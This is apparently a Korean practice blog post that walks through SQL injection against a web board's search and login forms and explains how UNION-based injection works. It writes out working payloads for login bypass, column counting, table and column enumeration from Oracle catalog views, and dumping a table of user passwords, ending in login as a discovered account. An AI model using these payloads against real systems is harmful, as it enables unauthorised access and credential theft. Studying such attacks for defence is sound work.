본문 바로가기
Infra & Security Eng/Database Engineering

[sql 인젝션] - 웹 페이지 sql 인젝션 실습하기 (+UNION based 원리 설명)

by 엔지니어 E 2026. 4. 3.
반응형

id ' -- 
* 아이디를 알아야 sql 인젝션 공격이 가능

id' or 1='1' --
* 아이디를 몰라도 sql 인젝션 공격이 가능 



[SQL 인젝션 후 로그인 성공]

1단계 컬럼 개수 정확히 맞추기
null의 개수를 하나씩 늘려가며 에러 메시지가 사라지고 화면이 정상적으로 출력되는 지점을 찾아야 한다
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ



명령어: %' UNION SELECT null, null, null, null, null, null from dual --
(처음에는 %' UNION SELECT null from dual -- 부터 시작해서 오류가 안나오면 그 null값이 컬럼 수!)
컬럼 개수: 6개


ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

%' UNION SELECT null, null, null, null, null, null from dual --

null의 개수를 하나씩 늘려가며 에러 메시지가 사라지고 화면이 정상적으로 출력되는 지점을 찾아야 한다

2단계: 출력 위치 확인 하기
어느 null 자리가 화면의 어느 칸(제목, 작성자 등)에 매칭되는지 확인하기 위해 식별 가능한 문자를 주입한다

명령어: zxcv%' UNION SELECT 1, '제목칸', '작성자', '날짜', '이메일', 6 FROM dual --
결과: 화면 리스트에 1, 제목칸, 작성자, 날짜, 이메일, 6이 화면에 출력됨을 확인함


ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
명령어 작동 원리 

1. 정상적인 상황
검색창 입력: 공지
DB로 전달되는 실제 쿼리:
SELECT 번호, 제목, 작성자... FROM 게시판 WHERE 제목 LIKE '%공지%'
결과: 제목에 '공지'가 들어간 진짜 게시글들이 화면에 출력됨.

2. 공격 상황 (사용자가 UNION 구문을 넣을 때)
공격 작동 (입력한 상태)
사용자 입력: zxcv%' UNION SELECT 1, '제목칸', '작성자', '날짜', '이메일', 6 FROM dual --
위의 명령어로 가짜 데이터를 주입함으로써 위 사진처럼 가짜 데이터가 나오게 됨 이 교란된 상황에서 명령어로 tname 등의 테이블명을 넣으면 실제 테이블명이 나오게 된다


3.서버 명령:
SELECT ... WHERE 제목 LIKE '%zxcv%': 검색 결과 없음 (화면 비움)
UNION: 앞의 결과와 뒤의 결과를 합침
SELECT 1, 'C', 'B', 'D', 'null', 6: 우리가 만든 가짜 데이터 1줄 생성
결과: 화면에 진짜 게시글 대신 우리가 주입한 ** 1, 제목칸, 작성자, 날짜, 이메일, 6 **이 출력됨

4. 결론
성공 이유: 서버가 내가 보낸 UNION 명령어를 데이터가 아닌 실행 명령으로 인식했기 때문임
결과: 화면의 [제목] 칸에 **'C'**가 찍히는 것을 확인함. 이제 'C' 자리에 테이블 이름이나 아이디를 넣으면 화면에 그대로 노출됨
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

3단계: 테이블 이름 강제 출력
문자가 찍히는 것이 확인된 모든 칸(제목, 글쓴이, 날짜)에 tname을 다 집어넣어 본다. 어디든 하나는 걸리게 만드는 기계적 방법이다


명령어: zxcv%' UNION SELECT 1, tname, tname, tname, null, 6 FROM tab --
결과: 테이블명은 BOARD, CONTENT, DKDLEL 이 있다

4단계: 컬럼 이름 알아내기
3단계에서 BOARD(게시판), CONTENT(내용), DKDLEL(아이디/비번 추정) 테이블을 확인했다. 우리의 목표는 로그인 정보가 들어있을 확률이 가장 높은 DKDLEL 테이블의 항목 이름을 확인 하는 것이다


명령어: zxcv%' UNION SELECT 1, table_name, column_name, '컬럼확인', null, 6 FROM cols WHERE table_name = 'DKDLEL' --
결과
zxcv 명령어로 심은 가짜 데이터는 1, 컬럼확인, 6
내가 알고싶었던 진짜 데이터는 DKAGH(암호 - 비밀번호) , EMAIL, NAME, TJDAUID(성명-아이디) 를 찾을 수 있다 



5단계: 아이디 알아내기
명령어: %' UNION SELECT 1, EMAIL, NAME, DKAGH, TJDAUD, 6 FROM DKDLEL WHERE ROWNUM <= 10 --
결과: 위에 명령어에서 얻어낸 TJDAUD(성명)으로 qalp12(아이디) 를 알아낼수 있다 

qalp12'-- / 비밀번호 아무거나 눌러서 sql 인젝션에 성공한다